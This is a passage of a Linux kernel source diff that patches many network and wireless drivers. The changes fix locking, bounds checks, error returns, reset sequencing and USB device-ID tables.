-EINVAL; @@ -506,7 +512,9 @@ static int pptp_getname(struct socket *sock, struct sockaddr *uaddr, int len = sizeof(struct sockaddr_pppox); struct sockaddr_pppox sp; - sp.sa_family = AF_PPPOX; + memset(&sp.sa_addr, 0, sizeof(sp.sa_addr)); + + sp.sa_family = AF_PPPOX; sp.sa_protocol = PX_PROTO_PPTP; sp.sa_addr.pptp = pppox_sk(sock->sk)->proto.pptp.src_addr; diff --git a/drivers/net/rionet.c b/drivers/net/rionet.c index f433b594388e1..00a8128cf927d 100644 --- a/drivers/net/rionet.c +++ b/drivers/net/rionet.c @@ -269,7 +269,7 @@ static void rionet_outb_msg_event(struct rio_mport *mport, void *dev_id, int mbo struct net_device *ndev = dev_id; struct rionet_private *rnet = netdev_priv(ndev); - spin_lock(&rnet->lock); + spin_lock(&rnet->tx_lock); if (netif_msg_intr(rnet)) printk(KERN_INFO @@ -288,7 +288,7 @@ static void rionet_outb_msg_event(struct rio_mport *mport, void *dev_id, int mbo if (rnet->tx_cnt < RIONET_TX_RING_SIZE) netif_wake_queue(ndev); - spin_unlock(&rnet->lock); + spin_unlock(&rnet->tx_lock); } static int rionet_open(struct net_device *ndev) diff --git a/drivers/net/slip/slhc.c b/drivers/net/slip/slhc.c index 1252d9c726a77..b52eabc168a06 100644 --- a/drivers/net/slip/slhc.c +++ b/drivers/net/slip/slhc.c @@ -84,8 +84,9 @@ static long decode(unsigned char **cpp); static unsigned char * put16(unsigned char *cp, unsigned short x); static unsigned short pull16(unsigned char **cpp); -/* Initialize compression data structure +/* Allocate compression data structure * slots must be in range 0 to 255 (zero meaning no compression) + * Returns pointer to structure or ERR_PTR() on error. */ struct slcompress * slhc_init(int rslots, int tslots) @@ -94,11 +95,14 @@ slhc_init(int rslots, int tslots) register struct cstate *ts; struct slcompress *comp; + if (rslots < 0 || rslots > 255 || tslots < 0 || tslots > 255) + return ERR_PTR(-EINVAL); + comp = kzalloc(sizeof(struct slcompress), GFP_KERNEL); if (! comp) goto out_fail; - if ( rslots > 0 && rslots < 256 ) { + if (rslots > 0) { size_t rsize = rslots * sizeof(struct cstate); comp->rstate = kzalloc(rsize, GFP_KERNEL); if (! comp->rstate) @@ -106,7 +110,7 @@ slhc_init(int rslots, int tslots) comp->rslot_limit = rslots - 1; } - if ( tslots > 0 && tslots < 256 ) { + if (tslots > 0) { size_t tsize = tslots * sizeof(struct cstate); comp->tstate = kzalloc(tsize, GFP_KERNEL); if (! comp->tstate) @@ -141,7 +145,7 @@ slhc_init(int rslots, int tslots) out_free: kfree(comp); out_fail: - return NULL; + return ERR_PTR(-ENOMEM); } diff --git a/drivers/net/slip/slip.c b/drivers/net/slip/slip.c index a34d6bf5e43b5..ca3e73753fb84 100644 --- a/drivers/net/slip/slip.c +++ b/drivers/net/slip/slip.c @@ -163,7 +163,7 @@ static int sl_alloc_bufs(struct slip *sl, int mtu) if (cbuff == NULL) goto err_exit; slcomp = slhc_init(16, 16); - if (slcomp == NULL) + if (IS_ERR(slcomp)) goto err_exit; #endif spin_lock_bh(&sl->lock); diff --git a/drivers/net/team/team.c b/drivers/net/team/team.c index 12222290c8024..5225d4321e7c3 100644 --- a/drivers/net/team/team.c +++ b/drivers/net/team/team.c @@ -42,9 +42,7 @@ static struct team_port *team_port_get_rcu(const struct net_device *dev) { - struct team_port *port = rcu_dereference(dev->rx_handler_data); - - return team_port_exists(dev) ? port : NULL; + return rcu_dereference(dev->rx_handler_data); } static struct team_port *team_port_get_rtnl(const struct net_device *dev) @@ -1523,11 +1521,11 @@ static int team_set_mac_address(struct net_device *dev, void *p) if (dev->type == ARPHRD_ETHER && !is_valid_ether_addr(addr->sa_data)) return -EADDRNOTAVAIL; memcpy(dev->dev_addr, addr->sa_data, dev->addr_len); - rcu_read_lock(); - list_for_each_entry_rcu(port, &team->port_list, list) + mutex_lock(&team->lock); + list_for_each_entry(port, &team->port_list, list) if (team->ops.port_change_dev_addr) team->ops.port_change_dev_addr(team, port); - rcu_read_unlock(); + mutex_unlock(&team->lock); return 0; } @@ -1638,10 +1636,10 @@ static int team_vlan_rx_kill_vid(struct net_device *dev, __be16 proto, u16 vid) struct team *team = netdev_priv(dev); struct team_port *port; - rcu_read_lock(); - list_for_each_entry_rcu(port, &team->port_list, list) + mutex_lock(&team->lock); + list_for_each_entry(port, &team->port_list, list) vlan_vid_del(port->dev, proto, vid); - rcu_read_unlock(); + mutex_unlock(&team->lock); return 0; } diff --git a/drivers/net/usb/asix_devices.c b/drivers/net/usb/asix_devices.c index 97b5de7aebdbd..05e8bd7b3e0f9 100644 --- a/drivers/net/usb/asix_devices.c +++ b/drivers/net/usb/asix_devices.c @@ -466,19 +466,7 @@ static int ax88772_bind(struct usbnet *dev, struct usb_interface *intf) return ret; } - ret = asix_sw_reset(dev, AX_SWRESET_IPPD | AX_SWRESET_PRL); - if (ret < 0) - return ret; - - msleep(150); - - ret = asix_sw_reset(dev, AX_SWRESET_CLEAR); - if (ret < 0) - return ret; - - msleep(150); - - ret = asix_sw_reset(dev, embd_phy ? AX_SWRESET_IPRL : AX_SWRESET_PRTE); + ax88772_reset(dev); /* Read PHYID register *AFTER* the PHY was reset properly */ phyid = asix_get_phyid(dev); @@ -888,7 +876,7 @@ static const struct driver_info ax88772_info = { .unbind = ax88772_unbind, .status = asix_status, .link_reset = ax88772_link_reset, - .reset = ax88772_reset, + .reset = ax88772_link_reset, .flags = FLAG_ETHER | FLAG_FRAMING_AX | FLAG_LINK_INTR | FLAG_MULTI_PACKET, .rx_fixup = asix_rx_fixup_common, .tx_fixup = asix_tx_fixup, diff --git a/drivers/net/usb/ax88179_178a.c b/drivers/net/usb/ax88179_178a.c index 521441a226238..841841b47396b 100644 --- a/drivers/net/usb/ax88179_178a.c +++ b/drivers/net/usb/ax88179_178a.c @@ -695,6 +695,7 @@ static int ax88179_set_mac_addr(struct net_device *net, void *p) { struct usbnet *dev = netdev_priv(net); struct sockaddr *addr = p; + int ret; if (netif_running(net)) return -EBUSY; @@ -704,8 +705,12 @@ static int ax88179_set_mac_addr(struct net_device *net, void *p) memcpy(net->dev_addr, addr->sa_data, ETH_ALEN); /* Set the MAC address */ - return ax88179_write_cmd(dev, AX_ACCESS_MAC, AX_NODE_ID, ETH_ALEN, + ret = ax88179_write_cmd(dev, AX_ACCESS_MAC, AX_NODE_ID, ETH_ALEN, ETH_ALEN, net->dev_addr); + if (ret < 0) + return ret; + + return 0; } static const struct net_device_ops ax88179_netdev_ops = { diff --git a/drivers/net/usb/cdc_ncm.c b/drivers/net/usb/cdc_ncm.c index fbe8cc061457a..3b18dae1775b2 100644 --- a/drivers/net/usb/cdc_ncm.c +++ b/drivers/net/usb/cdc_ncm.c @@ -464,7 +464,11 @@ int cdc_ncm_bind_common(struct usbnet *dev, struct usb_interface *intf, u8 data_ iface_no = ctx->data->cur_altsetting->desc.bInterfaceNumber; - /* reset data interface */ + /* Reset data interface. Some devices will not reset properly + * unless they are configured first. Toggle the altsetting to + * force a reset + */ + usb_set_interface(dev->udev, iface_no, data_altsetting); temp = usb_set_interface(dev->udev, iface_no, 0); if (temp) goto error2; @@ -473,6 +477,13 @@ int cdc_ncm_bind_common(struct usbnet *dev, struct usb_interface *intf, u8 data_ if (cdc_ncm_setup(ctx)) goto error2; + /* Some firmwares need a pause here or they will silently fail + * to set up the interface properly. This value was decided + * empirically on a Sierra Wireless MC7455 running 02.08.02.00 + * firmware. + */ + usleep_range(10000, 20000); + /* configure data interface */ temp = usb_set_interface(dev->udev, iface_no, data_altsetting); if (temp) diff --git a/drivers/net/usb/cx82310_eth.c b/drivers/net/usb/cx82310_eth.c index 1e207f086b759..49ab45e17fe89 100644 --- a/drivers/net/usb/cx82310_eth.c +++ b/drivers/net/usb/cx82310_eth.c @@ -302,9 +302,18 @@ static const struct driver_info cx82310_info = { .tx_fixup = cx82310_tx_fixup, }; +#define USB_DEVICE_CLASS(vend, prod, cl, sc, pr) \ + .match_flags = USB_DEVICE_ID_MATCH_DEVICE | \ + USB_DEVICE_ID_MATCH_DEV_INFO, \ + .idVendor = (vend), \ + .idProduct = (prod), \ + .bDeviceClass = (cl), \ + .bDeviceSubClass = (sc), \ + .bDeviceProtocol = (pr) + static const struct usb_device_id products[] = { { - USB_DEVICE_AND_INTERFACE_INFO(0x0572, 0xcb01, 0xff, 0, 0), + USB_DEVICE_CLASS(0x0572, 0xcb01, 0xff, 0, 0), .driver_info = (unsigned long) &cx82310_info }, { }, diff --git a/drivers/net/usb/plusb.c b/drivers/net/usb/plusb.c index 0fcc8e65a0680..74323e9d90048 100644 --- a/drivers/net/usb/plusb.c +++ b/drivers/net/usb/plusb.c @@ -136,6 +136,11 @@ static const struct usb_device_id products [] = { }, { USB_DEVICE(0x050d, 0x258a), /* Belkin F5U258/F5U279 (PL-25A1) */ .driver_info = (unsigned long) &prolific_info, +}, { + USB_DEVICE(0x3923, 0x7825), /* National Instruments USB + * Host-to-Host Cable + */ + .driver_info = (unsigned long) &prolific_info, }, { }, // END diff --git a/drivers/net/usb/qmi_wwan.c b/drivers/net/usb/qmi_wwan.c index 6fb0082b33080..12aaf1f4f8902 100644 --- a/drivers/net/usb/qmi_wwan.c +++ b/drivers/net/usb/qmi_wwan.c @@ -647,6 +647,7 @@ static const struct usb_device_id products[] = { {QMI_FIXED_INTF(0x05c6, 0x9084, 4)}, {QMI_FIXED_INTF(0x05c6, 0x920d, 0)}, {QMI_FIXED_INTF(0x05c6, 0x920d, 5)}, + {QMI_FIXED_INTF(0x0846, 0x68a2, 8)}, {QMI_FIXED_INTF(0x12d1, 0x140c, 1)}, /* Huawei E173 */ {QMI_FIXED_INTF(0x12d1, 0x14ac, 1)}, /* Huawei E1820 */ {QMI_FIXED_INTF(0x16d8, 0x6003, 0)}, /* CMOTech 6003 */ @@ -721,7 +722,9 @@ static const struct usb_device_id products[] = { {QMI_FIXED_INTF(0x19d2, 0x1424, 2)}, {QMI_FIXED_INTF(0x19d2, 0x1425, 2)}, {QMI_FIXED_INTF(0x19d2, 0x1426, 2)}, /* ZTE MF91 */ + {QMI_FIXED_INTF(0x19d2, 0x1428, 2)}, /* Telewell TW-LTE 4G v2 */ {QMI_FIXED_INTF(0x19d2, 0x2002, 4)}, /* ZTE (Vodafone) K3765-Z */ + {QMI_FIXED_INTF(0x2001, 0x7e19, 4)}, /* D-Link DWM-221 B1 */ {QMI_FIXED_INTF(0x0f3d, 0x68a2, 8)}, /* Sierra Wireless MC7700 */ {QMI_FIXED_INTF(0x114f, 0x68a2, 8)}, /* Sierra Wireless MC7750 */ {QMI_FIXED_INTF(0x1199, 0x68a2, 8)}, /* Sierra Wireless MC7710 in QMI mode */ @@ -733,12 +736,14 @@ static const struct usb_device_id products[] = { {QMI_FIXED_INTF(0x1199, 0x901f, 8)}, /* Sierra Wireless EM7355 */ {QMI_FIXED_INTF(0x1199, 0x9041, 8)}, /* Sierra Wireless MC7305/MC7355 */ {QMI_FIXED_INTF(0x1199, 0x9051, 8)}, /* Netgear AirCard 340U */ + {QMI_FIXED_INTF(0x1199, 0x9057, 8)}, {QMI_FIXED_INTF(0x1bbb, 0x011e, 4)}, /* Telekom Speedstick LTE II (Alcatel One Touch L100V LTE) */ {QMI_FIXED_INTF(0x1bbb, 0x0203, 2)}, /* Alcatel L800MA */ {QMI_FIXED_INTF(0x2357, 0x0201, 4)}, /* TP-LINK HSUPA Modem MA180 */ {QMI_FIXED_INTF(0x2357, 0x9000, 4)}, /* TP-LINK MA260 */ {QMI_FIXED_INTF(0x1bc7, 0x1200, 5)}, /* Telit LE920 */ {QMI_FIXED_INTF(0x1bc7, 0x1201, 2)}, /* Telit LE920 */ + {QMI_FIXED_INTF(0x1c9e, 0x9b01, 3)}, /* XS Stick W100-2 from 4G Systems */ {QMI_FIXED_INTF(0x0b3c, 0xc000, 4)}, /* Olivetti Olicard 100 */ {QMI_FIXED_INTF(0x0b3c, 0xc001, 4)}, /* Olivetti Olicard 120 */ {QMI_FIXED_INTF(0x0b3c, 0xc002, 4)}, /* Olivetti Olicard 140 */ @@ -753,6 +758,7 @@ static const struct usb_device_id products[] = { {QMI_FIXED_INTF(0x413c, 0x81a4, 8)}, /* Dell Wireless 5570e HSPA+ (42Mbps) Mobile Broadband Card */ {QMI_FIXED_INTF(0x413c, 0x81a8, 8)}, /* Dell Wireless 5808 Gobi(TM) 4G LTE Mobile Broadband Card */ {QMI_FIXED_INTF(0x413c, 0x81a9, 8)}, /* Dell Wireless 5808e Gobi(TM) 4G LTE Mobile Broadband Card */ + {QMI_FIXED_INTF(0x03f0, 0x581d, 4)}, /* HP lt4112 LTE/HSPA+ Gobi 4G Module (Huawei me906e) */ /* 4. Gobi 1000 devices */ {QMI_GOBI1K_DEVICE(0x05c6, 0x9212)}, /* Acer Gobi Modem Device */ diff --git a/drivers/net/usb/usbnet.c b/drivers/net/usb/usbnet.c index 54e83993e7596..1c8a373273e58 100644 --- a/drivers/net/usb/usbnet.c +++ b/drivers/net/usb/usbnet.c @@ -762,7 +762,7 @@ int usbnet_stop (struct net_device *net) { struct usbnet *dev = netdev_priv(net); struct driver_info *info = dev->driver_info; - int retval, pm; + int retval, pm, mpn; clear_bit(EVENT_DEV_OPEN, &dev->flags); netif_stop_queue (net); @@ -793,6 +793,8 @@ int usbnet_stop (struct net_device *net) usbnet_purge_paused_rxq(dev); + mpn = !test_and_clear_bit(EVENT_NO_RUNTIME_PM, &dev->flags); + /* deferred work (task, timer, softirq) must also stop. * can't flush_scheduled_work() until we drop rtnl (later), * else workers could deadlock; so make workers a NOP. @@ -803,8 +805,7 @@ int usbnet_stop (struct net_device *net) if (!pm) usb_autopm_put_interface(dev->intf); - if (info->manage_power && - !test_and_clear_bit(EVENT_NO_RUNTIME_PM, &dev->flags)) + if (info->manage_power && mpn) info->manage_power(dev, 0); else usb_autopm_put_interface(dev->intf); diff --git a/drivers/net/veth.c b/drivers/net/veth.c index 177f911f59462..cc6d3f9874369 100644 --- a/drivers/net/veth.c +++ b/drivers/net/veth.c @@ -116,12 +116,6 @@ static netdev_tx_t veth_xmit(struct sk_buff *skb, struct net_device *dev) kfree_skb(skb); goto drop; } - /* don't change ip_summed == CHECKSUM_PARTIAL, as that - * will cause bad checksum on forwarded packets - */ - if (skb->ip_summed == CHECKSUM_NONE && - rcv->features & NETIF_F_RXCSUM) - skb->ip_summed = CHECKSUM_UNNECESSARY; if (likely(dev_forward_skb(rcv, skb) == NET_RX_SUCCESS)) { struct pcpu_vstats *stats = this_cpu_ptr(dev->vstats); diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c index 2835bfe151b17..b5d11529a39b0 100644 --- a/drivers/net/virtio_net.c +++ b/drivers/net/virtio_net.c @@ -1545,9 +1545,9 @@ static int virtnet_probe(struct virtio_device *vdev) /* Do we support "hardware" checksums? */ if (virtio_has_feature(vdev, VIRTIO_NET_F_CSUM)) { /* This opens up the world of extra features. */ - dev->hw_features |= NETIF_F_HW_CSUM|NETIF_F_SG|NETIF_F_FRAGLIST; + dev->hw_features |= NETIF_F_HW_CSUM | NETIF_F_SG; if (csum) - dev->features |= NETIF_F_HW_CSUM|NETIF_F_SG|NETIF_F_FRAGLIST; + dev->features |= NETIF_F_HW_CSUM | NETIF_F_SG; if (virtio_has_feature(vdev, VIRTIO_NET_F_GSO)) { dev->hw_features |= NETIF_F_TSO | NETIF_F_UFO diff --git a/drivers/net/vxlan.c b/drivers/net/vxlan.c index fcbd4eee52cc7..a1dc186c6f661 100644 --- a/drivers/net/vxlan.c +++ b/drivers/net/vxlan.c @@ -1093,7 +1093,7 @@ static netdev_tx_t vxlan_xmit_one(struct sk_buff *skb, struct net_device *dev, iph->daddr = dst; iph->saddr = fl4.saddr; iph->ttl = ttl ? : ip4_dst_hoplimit(&rt->dst); - __ip_select_ident(iph, &rt->dst, (skb_shinfo(skb)->gso_segs ?: 1) - 1); + __ip_select_ident(iph, skb_shinfo(skb)->gso_segs ?: 1); nf_reset(skb); diff --git a/drivers/net/wan/farsync.c b/drivers/net/wan/farsync.c index bcfff0d62de4f..2dfa1478d7d14 100644 --- a/drivers/net/wan/farsync.c +++ b/drivers/net/wan/farsync.c @@ -2545,7 +2545,7 @@ fst_add_one(struct pci_dev *pdev, const struct pci_device_id *ent) dev->mem_start = card->phys_mem + BUF_OFFSET ( txBuffer[i][0][0]); dev->mem_end = card->phys_mem - + BUF_OFFSET ( txBuffer[i][NUM_TX_BUFFER][0]); + + BUF_OFFSET ( txBuffer[i][NUM_TX_BUFFER - 1][LEN_RX_BUFFER - 1]); dev->base_addr = card->pci_conf; dev->irq = card->irq; diff --git a/drivers/net/wan/x25_asy.c b/drivers/net/wan/x25_asy.c index 5895f19786919..e98de425f8e00 100644 --- a/drivers/net/wan/x25_asy.c +++ b/drivers/net/wan/x25_asy.c @@ -545,16 +545,12 @@ static void x25_asy_receive_buf(struct tty_struct *tty, static int x25_asy_open_tty(struct tty_struct *tty) { - struct x25_asy *sl = tty->disc_data; + struct x25_asy *sl; int err; if (tty->ops->write == NULL) return -EOPNOTSUPP; - /* First make sure we're not already connected. */ - if (sl && sl->magic == X25_ASY_MAGIC) - return -EEXIST; - /* OK. Find a free X.25 channel to use. */ sl = x25_asy_alloc(); if (sl == NULL) diff --git a/drivers/net/wireless/ath/ath5k/led.c b/drivers/net/wireless/ath/ath5k/led.c index f77ef36acf87f..61879b1f70830 100644 --- a/drivers/net/wireless/ath/ath5k/led.c +++ b/drivers/net/wireless/ath/ath5k/led.c @@ -77,7 +77,7 @@ static DEFINE_PCI_DEVICE_TABLE(ath5k_led_devices) = { /* HP Compaq CQ60-206US (ddreggors@jumptv.com) */ { ATH_SDEVICE(PCI_VENDOR_ID_HP, 0x0137a), ATH_LED(3, 1) }, /* HP Compaq C700 (nitrousnrg@gmail.com) */ - { ATH_SDEVICE(PCI_VENDOR_ID_HP, 0x0137b), ATH_LED(3, 1) }, + { ATH_SDEVICE(PCI_VENDOR_ID_HP, 0x0137b), ATH_LED(3, 0) }, /* LiteOn AR5BXB63 (magooz@salug.it) */ { ATH_SDEVICE(PCI_VENDOR_ID_ATHEROS, 0x3067), ATH_LED(3, 0) }, /* IBM-specific AR5212 (all others) */ diff --git a/drivers/net/wireless/ath/ath5k/qcu.c b/drivers/net/wireless/ath/ath5k/qcu.c index 65fe929529a8f..3bfd0b88016e1 100644 --- a/drivers/net/wireless/ath/ath5k/qcu.c +++ b/drivers/net/wireless/ath/ath5k/qcu.c @@ -225,13 +225,7 @@ ath5k_hw_setup_tx_queue(struct ath5k_hw *ah, enum ath5k_tx_queue queue_type, } else { switch (queue_type) { case AR5K_TX_QUEUE_DATA: - for (queue = AR5K_TX_QUEUE_ID_DATA_MIN; - ah->ah_txq[queue].tqi_type != - AR5K_TX_QUEUE_INACTIVE; queue++) { - - if (queue > AR5K_TX_QUEUE_ID_DATA_MAX) - return -EINVAL; - } + queue = queue_info->tqi_subtype; break; case AR5K_TX_QUEUE_UAPSD: queue = AR5K_TX_QUEUE_ID_UAPSD; diff --git a/drivers/net/wireless/ath/ath5k/reset.c b/drivers/net/wireless/ath/ath5k/reset.c index a3399c4f13a9a..b9b651ea98515 100644 --- a/drivers/net/wireless/ath/ath5k/reset.c +++ b/drivers/net/wireless/ath/ath5k/reset.c @@ -478,7 +478,7 @@ ath5k_hw_wisoc_reset(struct ath5k_hw *ah, u32 flags) regval = ioread32(reg); iowrite32(regval | val, reg); regval = ioread32(reg); - usleep_range(100, 150); + udelay(100); /* NB: should be atomic */ /* Bring BB/MAC out of reset */ iowrite32(regval & ~val, reg); diff --git a/drivers/net/wireless/ath/ath9k/eeprom.c b/drivers/net/wireless/ath/ath9k/eeprom.c index 971d770722cf2..2ac05486424b6 100644 --- a/drivers/net/wireless/ath/ath9k/eeprom.c +++ b/drivers/net/wireless/ath/ath9k/eeprom.c @@ -408,10 +408,9 @@ void ath9k_hw_get_gain_boundaries_pdadcs(struct ath_hw *ah, if (match) { if (AR_SREV_9287(ah)) { - /* FIXME: array overrun? */ for (i = 0; i < numXpdGains; i++) { minPwrT4[i] = data_9287[idxL].pwrPdg[i][0]; - maxPwrT4[i] = data_9287[idxL].pwrPdg[i][4]; + maxPwrT4[i] = data_9287[idxL].pwrPdg[i][intercepts - 1]; ath9k_hw_fill_vpd_table(minPwrT4[i], maxPwrT4[i], data_9287[idxL].pwrPdg[i], data_9287[idxL].vpdPdg[i], @@ -421,7 +420,7 @@ void ath9k_hw_get_gain_boundaries_pdadcs(struct ath_hw *ah, } else if (eeprom_4k) { for (i = 0; i < numXpdGains; i++) { minPwrT4[i] = data_4k[idxL].pwrPdg[i][0]; - maxPwrT4[i] = data_4k[idxL].pwrPdg[i][4]; + maxPwrT4[i] = data_4k[idxL].pwrPdg[i][intercepts - 1]; ath9k_hw_fill_vpd_table(minPwrT4[i], maxPwrT4[i], data_4k[idxL].pwrPdg[i], data_4k[idxL].vpdPdg[i], @@ -431,7 +430,7 @@ void ath9k_hw_get_gain_boundaries_pdadcs(struct ath_hw *ah, } else { for (i = 0; i < numXpdGains; i++) { minPwrT4[i] = data_def[idxL].pwrPdg[i][0]; - maxPwrT4[i] = data_def[idxL].pwrPdg[i][4]; + maxPwrT4[i] = data_def[idxL].pwrPdg[i][intercepts - 1]; ath9k_hw_fill_vpd_table(minPwrT4[i], maxPwrT4[i], data_def[idxL].pwrPdg[i], data_def[idxL].vpdPdg[i], diff --git a/drivers/net/wireless/ath/ath9k/hw.h b/drivers/net/wireless/ath/ath9k/hw.h index ae3034374bc4c..d7d9e311089f9 100644 --- a/drivers/net/wireless/ath/ath9k/hw.h +++ b/drivers/net/wireless/ath/ath9k/hw.h @@ -215,8 +215,8 @@ #define AH_WOW_BEACON_MISS BIT(3) enum ath_hw_txq_subtype { - ATH_TXQ_AC_BE = 0, - ATH_TXQ_AC_BK = 1, + ATH_TXQ_AC_BK = 0, + ATH_TXQ_AC_BE = 1, ATH_TXQ_AC_VI = 2, ATH_TXQ_AC_VO = 3, }; diff --git a/drivers/net/wireless/ath/ath9k/init.c b/drivers/net/wireless/ath/ath9k/init.c index bd126c25a727c..3f37e464a5995 100644 --- a/drivers/net/wireless/ath/ath9k/init.c +++ b/drivers/net/wireless/ath/ath9k/init.c @@ -819,6 +819,7 @@ void ath9k_set_hw_capab(struct ath_softc *sc, struct ieee80211_hw *hw) hw->max_rate_tries = 10; hw->sta_data_size = sizeof(struct ath_node); hw->vif_data_size = sizeof(struct ath_vif); + hw->extra_tx_headroom = 4; hw->wiphy->available_antennas_rx = BIT(ah->caps.max_rxchains) - 1; hw->wiphy->available_antennas_tx = BIT(ah->caps.max_txchains) - 1; diff --git a/drivers/net/wireless/ath/ath9k/mac.c b/drivers/net/wireless/ath/ath9k/mac.c index 566109a40fb38..941b08b713082 100644 --- a/drivers/net/wireless/ath/ath9k/mac.c +++ b/drivers/net/wireless/ath/ath9k/mac.c @@ -311,14 +311,7 @@ int ath9k_hw_setuptxqueue(struct ath_hw *ah, enum ath9k_tx_queue type, q = ATH9K_NUM_TX_QUEUES - 3; break; case ATH9K_TX_QUEUE_DATA: - for (q = 0; q < ATH9K_NUM_TX_QUEUES; q++) - if (ah->txq[q].tqi_type == - ATH9K_TX_QUEUE_INACTIVE) - break; - if (q == ATH9K_NUM_TX_QUEUES) { - ath_err(common, "No available TX queue\n"); - return -1; - } + q = qinfo->tqi_subtype; break; default: ath_err(common, "Invalid TX queue type: %u\n", type); diff --git a/drivers/net/wireless/ath/ath9k/main.c b/drivers/net/wireless/ath/ath9k/main.c index 82a1b5b16b621..c7f23d2710588 100644 --- a/drivers/net/wireless/ath/ath9k/main.c +++ b/drivers/net/wireless/ath/ath9k/main.c @@ -195,11 +195,13 @@ static bool ath_prepare_reset(struct ath_softc *sc) ath9k_debug_samp_bb_mac(sc); ath9k_hw_disable_interrupts(ah); - if (!ath_drain_all_txq(sc)) - ret = false; - - if (!ath_stoprecv(sc)) - ret = false; + if (AR_SREV_9300_20_OR_LATER(ah)) { + ret &= ath_stoprecv(sc); + ret &= ath_drain_all_txq(sc); + } else { + ret &= ath_drain_all_txq(sc); + ret &= ath_stoprecv(sc); + } return ret; } diff --git a/drivers/net/wireless/ath/carl9170/carl9170.h b/drivers/net/wireless/ath/carl9170/carl9170.h index 9dce106cd6d4a..95a334f0719ca 100644 --- a/drivers/net/wireless/ath/carl9170/carl9170.h +++ b/drivers/net/wireless/ath/carl9170/carl9170.h @@ -253,6 +253,7 @@ struct ar9170 { atomic_t rx_work_urbs; atomic_t rx_pool_urbs; kernel_ulong_t features; + bool usb_ep_cmd_is_bulk; /* firmware settings */ struct completion fw_load_wait; diff --git a/drivers/net/wireless/ath/carl9170/usb.c b/drivers/net/wireless/ath/carl9170/usb.c index 307bc0ddff990..83d20c8b2ad7e 100644 --- a/drivers/net/wireless/ath/carl9170/usb.c +++ b/drivers/net/wireless/ath/carl9170/usb.c @@ -621,9 +621,16 @@ int __carl9170_exec_cmd(struct ar9170 *ar, struct carl9170_cmd *cmd, goto err_free; } - usb_fill_int_urb(urb, ar->udev, usb_sndintpipe(ar->udev, - AR9170_USB_EP_CMD), cmd, cmd->hdr.len + 4, - carl9170_usb_cmd_complete, ar, 1); + if (ar->usb_ep_cmd_is_bulk) + usb_fill_bulk_urb(urb, ar->udev, + usb_sndbulkpipe(ar->udev, AR9170_USB_EP_CMD), + cmd, cmd->hdr.len + 4, + carl9170_usb_cmd_complete, ar); + else + usb_fill_int_urb(urb, ar->udev, + usb_sndintpipe(ar->udev, AR9170_USB_EP_CMD), + cmd, cmd->hdr.len + 4, + carl9170_usb_cmd_complete, ar, 1); if (free_buf) urb->transfer_flags |= URB_FREE_BUFFER; @@ -1032,9 +1039,10 @@ static void carl9170_usb_firmware_step2(const struct firmware *fw, static int carl9170_usb_probe(struct usb_interface *intf, const struct usb_device_id *id) { + struct usb_endpoint_descriptor *ep; struct ar9170 *ar; struct usb_device *udev; - int err; + int i, err; err = usb_reset_device(interface_to_usbdev(intf)); if (err) @@ -1050,6 +1058,21 @@ static int carl9170_usb_probe(struct usb_interface *intf, ar->intf = intf; ar->features = id->driver_info; + /* We need to remember the type of endpoint 4 because it differs + * between high- and full-speed configuration. The high-speed + * configuration specifies it as interrupt and the full-speed + * configuration as bulk endpoint. This information is required + * later when sending urbs to that endpoint. + */ + for (i = 0; i < intf->cur_altsetting->desc.bNumEndpoints; ++i) { + ep = &intf->cur_altsetting->endpoint[i].desc; + + if (usb_endpoint_num(ep) == AR9170_USB_EP_CMD && + usb_endpoint_dir_out(ep) && + usb_endpoint_type(ep) == USB_ENDPOINT_XFER_BULK) + ar->usb_ep_cmd_is_bulk = true; + } + usb_set_intfdata(intf, ar); SET_IEEE80211_DEV(ar->hw, &intf->dev); diff --git a/drivers/net/wireless/iwlwifi/dvm/dev.h b/drivers/net/wireless/iwlwifi/dvm/dev.h index 71ea77576d222..e783ea0e38379 100644 --- a/drivers/net/wireless/iwlwifi/dvm/dev.h +++ b/drivers/net/wireless/iwlwifi/dvm/dev.h @@ -670,7 +670,6 @@ struct iwl_priv { unsigned long reload_jiffies; int reload_count; bool ucode_loaded; - bool init_ucode_run; /* Don't run init uCode again */ u8 plcp_delta_threshold; diff --git a/drivers/net/wireless/iwlwifi/dvm/lib.c b/drivers/net/wireless/iwlwifi/dvm/lib.c index 54f553380aa88..54308dfde13d5 100644 --- a/drivers/net/wireless/iwlwifi/dvm/lib.c +++ b/drivers/net/wireless/iwlwifi/dvm/lib.c @@ -1023,7 +1023,7 @@ static void iwlagn_wowlan_program_keys(struct ieee80211_hw *hw, u8 *pn = seq.ccmp.pn; ieee80211_get_key_rx_seq(key, i, &seq); - aes_sc->pn = cpu_to_le64( + aes_sc[i].pn = cpu_to_le64( (u64)pn[5] | ((u64)pn[4] << 8) | ((u64)pn[3] << 16) | diff --git a/drivers/net/wireless/iwlwifi/dvm/ucode.c b/drivers/net/wireless/iwlwifi/dvm/ucode.c index 0a1cdc5e856ba..5ad94a8080b83 100644 --- a/drivers/net/wireless/iwlwifi/dvm/ucode.c +++ b/drivers/net/wireless/iwlwifi/dvm/ucode.c @@ -425,9 +425,6 @@ int iwl_run_init_ucode(struct iwl_priv *priv) if (!priv->fw->img[IWL_UCODE_INIT].sec[0].len) return 0; - if (priv->init_ucode_run) - return 0; - iwl_init_notification_wait(&priv->notif_wait, &calib_wait, calib_complete, ARRAY_SIZE(calib_complete), iwlagn_wait_calib, priv); @@ -447,8 +444,6 @@ int iwl_run_init_ucode(struct iwl_priv *priv) */ ret = iwl_wait_notification(&priv->notif_wait, &calib_wait, UCODE_CALIB_TIMEOUT); - if (!ret) - priv->init_ucode_run = true; goto out; diff --git a/drivers/net/wireless/iwlwifi/iwl-trans.h b/drivers/net/wireless/iwlwifi/iwl-trans.h index 72d2ecce0b8d7..d8df1d9b0de3c 100644 --- a/drivers/net/wireless/iwlwifi/iwl-trans.h +++ b/drivers/net/wireless/iwlwifi/iwl-trans.h @@ -489,6 +489,7 @@ enum iwl_trans_state { * Set during transport allocation. * @hw_id_str: a string with info about HW ID. Set during transport allocation. * @pm_support: set to true in start_hw if link pm is supported + * @ltr_enabled: set to true if the LTR is enabled * @dev_cmd_pool: pool for Tx cmd allocation - for internal use only. * The user should use iwl_trans_{alloc,free}_tx_cmd. * @dev_cmd_headroom: room needed for the transport's private use before the @@ -513,6 +514,7 @@ struct iwl_trans { u8 rx_mpdu_cmd, rx_mpdu_cmd_hdr_size; bool pm_support; + bool ltr_enabled; /* The following fields are internal only */ struct kmem_cache *dev_cmd_pool; diff --git a/drivers/net/wireless/iwlwifi/mvm/d3.c b/drivers/net/wireless/iwlwifi/mvm/d3.c index 16bbdcc8627ae..2e95b419a1090 100644 